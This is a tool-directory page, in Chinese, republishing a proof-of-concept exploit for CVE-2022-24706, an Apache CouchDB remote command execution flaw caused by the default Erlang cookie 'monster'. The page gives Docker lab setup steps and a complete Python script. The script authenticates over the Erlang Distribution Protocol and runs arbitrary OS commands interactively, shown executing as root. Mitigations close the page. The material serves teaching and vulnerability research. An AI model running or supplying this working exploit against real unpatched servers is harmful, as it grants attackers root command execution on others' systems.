Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-24706 — Concept-proof exploit for CVE-2022-24706 targeting Apache CouchDB 3.2.1 and below. Demonstrates remote command execution via Erlang Distribution Protocol using default cookie authentication. | Kitploit
工具/GitHubGitHub/junghyeonkum/cve-2022-24706
漏洞分析漏洞利用渗透测试学习与教育远程访问工具数据库安全
GitHubjunghyeonkum/cve-2022-24706

CVE-2022-24706

Concept-proof exploit for CVE-2022-24706 targeting Apache CouchDB 3.2.1 and below. Demonstrates remote command execution via Erlang Distribution Protocol using default cookie authentication.

查看仓库
62个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-24706

贡献者

  • 白帽学校第4期39班 金正贤(@junghyeonkum)

CouchDB Erlang分布式远程命令执行漏洞 (CVE-2022-24706)

摘要

Apache CouchDB 是一个用 Erlang 实现的开源面向文档的 NoSQL 数据库。

由于 Apache CouchDB 是用 Erlang 开发的,它默认支持分布式计算(集群)功能。集群节点之间通过 Erlang/OTP Distribution Protocol 进行通信,通过该协议,可以以运行 CouchDB 的用户权限执行操作系统(OS)命令。

要执行操作系统命令,需要知道 Erlang 中称为 Cookie 的认证字符串(Secret Phrase)。在 CouchDB 3.2.1 及以下版本中,安装时默认的 Cookie 值设置为 monster,知道该值的攻击者可以绕过认证,远程执行操作系统命令。

参考资料:

  • https://docs.couchdb.org/en/3.2.2-docs/cve/2022-24706.html
  • https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
  • https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/erlang_cookie_rce.rb
  • https://github.com/sadshade/CVE-2022-24706-CouchDB-Exploit

环境要求

进行本实验需要以下环境:

  • 必须安装 Docker 和 Docker Compose。
  • 执行 PoC 需要安装 Python 3。

在基于 Apple Silicon (M1/M2/M3) 的 macOS 上,可能会输出镜像平台相关的警告。大多数情况下,Docker Desktop 会自动模拟 amd64 镜像并运行,因此不需要额外操作。如果容器无法正常运行,可以在 docker-compose.yml 的 couchdb 服务中添加 platform: linux/amd64 选项后运行。

如果未安装 Python 3,可以通过以下命令安装:

root@kitploit:~
sudo apt update
sudo apt install -y python3

环境设置

执行以下命令启动 Apache CouchDB 3.2.1 环境:

root@kitploit:~
docker compose up -d

服务启动后,目标 IP 上将开放以下 3 个端口:

  • 5984: Apache CouchDB Web 界面
  • 4369: Erlang Port Mapper Daemon (EPMD)
  • 9100: 集群通信及运行时管理端口(实际命令通过此端口执行)

在实际环境中,Web 界面端口(5984)和 EPMD 服务端口(4369)是固定的,但集群通信端口在每次运行时可能会变化。因此,可以访问 EPMD 服务来获取当前使用的集群通信端口号。

Apache CouchDB 正常启动后,可通过 http://target-ip:5984 查看版本信息。

漏洞条件

本漏洞在满足以下条件时发生:

  • 运行 Apache CouchDB 3.2.1 及以下版本。
  • Erlang Distribution 功能已启用。
  • Erlang Cookie 设置为默认值(monster)。
  • 可访问 Erlang Distribution 服务(EPMD)。

复现步骤

  1. 执行以下命令启动存在漏洞的 Apache CouchDB 环境:
root@kitploit:~
docker compose up -d
  1. 在 EPMD 服务(4369)运行的情况下,执行以下命令运行 PoC:
root@kitploit:~
python3 poc.py target-ip 4369
  1. PoC 将从 EPMD 服务获取当前使用的集群通信端口号,然后使用默认 Cookie(monster)进行 Erlang Distribution Protocol 认证。

  2. 认证完成后,可以输入任意操作系统命令,验证远程命令执行是否成功。

PoC 代码

root@kitploit:~
#!/usr/local/bin/python3

# Python 标准库
import socket
from hashlib import md5
import struct
import sys
import re
import time

# 目标服务器及基本设置
TARGET = sys.argv[1]
EPMD_PORT = int(sys.argv[2]) # EPMD 默认端口
COOKIE = "monster" # CouchDB 默认 Erlang Cookie 
ERLNAG_PORT = 0
EPM_NAME_CMD = b"\x00\x01\x6e" # Erlang 节点列表请求包

# Erlang 认证及控制消息
NAME_MSG  = b"\x00\x15n\x00\x05\x00\x07\x49\x9cAAAAAA@AAAAAAA"
CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"
CTRL_DATA  = b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03"
CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"

# 将用户输入的命令转换为 Erlang RPC 包
def compile_cmd(CMD):
    MSG  = b"\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00"
    MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"
    MSG += struct.pack(">H", len(CMD))
    MSG += bytes(CMD, 'ascii')
    MSG += b'jw\x04user'
    PAYLOAD = b'\x70' + CTRL_DATA + MSG
    PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
    return PAYLOAD

print("通过 Erlang Distribution Protocol 进行远程命令执行。\n")

# 连接 EPMD 服务器获取 Erlang 节点信息
try:
    epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    epm_socket.connect((TARGET, EPMD_PORT))
except socket.error as msg:
    print("无法连接到 EPMD: %s\n 程序终止" % msg)
    sys.exit(1)
    
# 请求 Erlang 节点列表
epm_socket.send(EPM_NAME_CMD) 

# 如果收到正常响应则获取节点信息
if epm_socket.recv(4) == b'\x00\x00\x11\x11': 
    data = epm_socket.recv(1024)
    data = data[0:len(data) - 1].decode('ascii')
    data = data.split("\n")
    if len(data) == 1:
        choise = 1
        print("找到 " + data[0])
    else:
        print("\n找到多个节点,请选择要使用的节点:")
        line_number = 0
        for line in data:
            line_number += 1
            print(" %d) %s" %(line_number, line))
        choise = int(input("\n> "))
        
    ERLNAG_PORT = int(re.search(r"\d+$",data[choise - 1])[0])
else:
    print("节点列表请求错误,退出")
    sys.exit(1)
epm_socket.close()

# 连接 Erlang 节点
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((TARGET, ERLNAG_PORT))
except socket.error as msg:
    print("无法连接到 Erlang 服务器: %s\n 程序终止" % msg)
    sys.exit(1)
   
# 接收 Challenge 值
s.send(NAME_MSG)
s.recv(5)
challenge = s.recv(1024)     
print(challenge)
challenge = struct.unpack(">I", challenge[9:13])[0]

# 使用 Challenge 值生成认证信息
CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")
    + bytes(str(challenge), "ascii")).digest()

# 发送认证请求
s.send(CHALLENGE_REPLY)
CHALLENGE_RESPONSE = s.recv(1024)

# 检查认证是否成功
if len(CHALLENGE_RESPONSE) == 0:
    print("认证失败,退出")
    sys.exit(1)

print("认证成功")
print("请输入命令:\n")

data_size = 0

# 循环接收用户命令并在远程 CouchDB 节点上执行
while True:
    if data_size <= 0:
        CMD = input("> ")
        if not CMD:
            continue
        elif CMD == "exit":
            sys.exit(0)
        s.send(compile_cmd(CMD))
        data_size = struct.unpack(">I", s.recv(4))[0] 
        s.recv(45)              
        data_size -= 45         
        time.sleep(0.1)
    elif data_size < 1024:        
        data = s.recv(data_size)
        time.sleep(0.1)
        print(data[3:].decode())
        data_size = 0
    else:        
        data = s.recv(1024)
        time.sleep(0.1)
        print(data[4:].decode())
        data_size -= 1024

执行结果

PoC 执行结果显示,通过 EPMD 服务成功获取了集群通信端口,并且出现 Authentication successful 消息,表明 Erlang Distribution Protocol 认证成功。

随后执行 whoami 命令,确认命令以 root 权限运行;执行 id 命令可查看用户和组信息。另外,通过 touch /tmp/success 命令在目标系统的 /tmp 目录下创建了 success 文件,然后执行 ls /tmp 命令确认该文件已创建。由此可以验证输入的操作系统命令确实在目标系统上成功执行。

环境终止

实验完成后,执行以下命令停止 Docker 容器和网络:

root@kitploit:~
docker compose down

应对措施

  1. 更新到最新版本
    升级到 Apache CouchDB 3.2.2 或更高版本,以解决默认 Erlang Cookie 问题。

  2. 修改默认 Erlang Cookie
    不要使用默认 Cookie 值(monster),将其改为难以猜测的随机值,防止认证绕过及远程命令执行。

  3. 限制 EPMD 及集群通信端口的访问
    通过防火墙或访问控制策略,确保只有可信主机才能访问 EPMD(4369)和集群通信端口。

  4. 禁用不必要的 Erlang Distribution 功能
    在不使用集群功能的环境中,限制 Erlang Distribution 功能或相关服务的外部访问,以降低攻击可能性。

下载工具